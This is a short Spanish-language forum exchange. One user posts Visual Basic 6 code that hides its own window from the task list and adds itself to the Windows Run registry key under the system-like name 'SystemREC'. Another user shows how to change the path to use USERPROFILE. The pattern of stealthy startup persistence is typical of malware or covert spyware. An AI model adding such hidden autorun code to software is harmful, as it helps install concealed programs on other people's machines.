Hola, bueno pues he leido lo de las variables de entorno y Environ, pero no se como aplicarlo a este code.
Private Sub Form_Load()
Dim r As String
App.TaskVisible = False
CLAVE = "SystemREC"
VALOR = "C:\WINDOWS\systemrec.exe"
Set wsc = CreateObject("wscript.shell")
r = wsc.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemREC")
If r <> VALOR Then
wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & CLAVE, VALOR
End If
End Sub
¿Alguien sabe?
Quiero cambiar Windows por la variable USERPROFILE
Hola, asi ?
Private Sub Form_Load()
Dim r As String
App.TaskVisible = False
CLAVE = "SystemREC"
VALOR = Environ("USERPROFILE") & "\systemrec.exe"
Set wsc = CreateObject("wscript.shell")
r = wsc.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemREC")
If r <> VALOR Then
wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & CLAVE, VALOR
End If
End Sub
saludos.
Si, gracias seba.
;D